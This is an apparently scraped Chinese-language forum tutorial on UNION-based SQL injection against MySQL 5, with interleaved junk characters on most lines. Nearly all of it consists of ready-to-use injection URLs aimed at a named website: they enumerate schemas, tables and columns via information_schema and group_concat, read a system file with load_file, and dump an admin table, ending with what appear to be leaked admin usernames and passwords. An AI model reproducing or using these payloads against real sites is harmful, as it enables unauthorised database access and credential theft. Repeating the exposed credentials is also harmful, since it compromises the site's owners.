此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似) x/ ]! v; p. ~7 L. t. t1 Q. d3 l J
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人+ X9 t, W# ]; v0 h) G' o* p
7 x( o9 w6 W( ^* w& K% f8 c( E$ m) h( P; a3 R
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
6 U* W+ A6 P% X
3 `5 e2 b% s, _& y5 Y$ L缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...1 u1 J K$ h6 h& Y8 D& X
/ d$ L8 {) ] M4 Y! x! [
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示9 F3 Y* p0 L7 p N% X' {
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等" p% \- H/ D+ B) m
2 E& @, R+ t9 L' I+ \
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17 f$ k4 x( Q$ n6 u9 j1 a# _% X
4 H/ J) j; K2 r( \0 F读出所有库:
) W7 `1 r* V- F- i; a, _http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA+ R: I% j6 i% u! G2 y+ ^
- k( n% q7 e5 ^ f, ^# z9 J' S- f6 x4 N
0 b9 V+ v6 g4 D, u2 r读出所有表:
2 `5 I6 S: b% d" ehttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()" y$ Y& [: E& F" D$ ?$ a/ b
" y2 V$ v) d( \/ s( Y
读出所有表字段:
: } J. a9 G. q# A; H; G+ ~4 c7 nhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
2 s4 f# c1 ` B% M+ ]5 c7 r2 U*/ (97,100,109,105,110)为admin的ascii码 依次类推
4 G. c7 v! \6 [: q( h# V1 J* X) |3 p
7 M+ A: L( Y0 h+ _! |2 J读出所有表字段里的内容:- V4 I1 `; o8 Y
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
Q2 _0 O, Z! ~7 y; v1 T" o8 w5 [; o. F, g8 O
, U, c( w9 d. |% W1 X" l
, s0 H9 d% Z' K9 o) ~& j. p0 j: z4 u2 V+ i9 u
/ |5 \; T& m; E: V. P. c% h5 j2 j9 V1 p) O" ?2 n
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%233 V" z7 k* D' a$ o8 @
! i1 N( G ?; {( |0 n) Q- z( n7 q. H7 z5 z# }& \
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
0 [. m( k S& i) v4 Z* D+ e( z8 J+ p* p% h/ ?
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
) c! l" d- A1 c0 s! r0 I5 m5 }$ V9 h) K2 h
! Y$ B1 n8 B1 q8 k4 d5 x2 q) m5 d: H. khttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%231 a8 _( f7 T1 X2 d
; J$ _# p8 T/ u6 S6 Q+ a% A! [0 f$ d0 Z# W8 b
webmaster:dzb521123,simlab:simadmin20043233
2 j1 I9 A9 V& @6 ?, [2 t6 g |